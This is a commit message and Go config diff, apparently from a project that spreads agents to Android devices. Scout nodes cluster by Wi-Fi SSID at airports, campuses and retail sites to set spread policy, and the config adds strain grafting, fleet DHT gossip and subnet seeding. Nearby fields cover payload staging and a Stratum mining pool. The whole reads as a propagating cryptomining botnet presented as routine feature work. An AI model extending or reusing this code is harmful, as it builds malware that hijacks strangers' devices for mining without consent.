Add scout constellation mode for APK venue persona packs.

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.

agent/config/config.go

@@ -124,6 +124,11 @@ type BuiltinConfig struct {
 	SpreadStrain     string // #RRGGBB strain color; derived from join_lane when empty
 	BakedJoinLane    string // forge-time join_lane for strain when runtime lane unknown
 
+	// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
+	GraftSourceStrain string
+	GraftTier         string
+	GraftApprovedAt   string
+
 	// ApkMode marks Android fleet-node builds; registration reports platform=android.
 	ApkMode bool
 	// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
@@ -142,6 +147,10 @@ type BuiltinConfig struct {
 	HashrateGateHPS float64
 	// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
 	ErasureLanesEnabled bool
+	// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
+	FleetTorrentEnabled bool
+	// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
+	SubnetPrimarySeeder bool
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.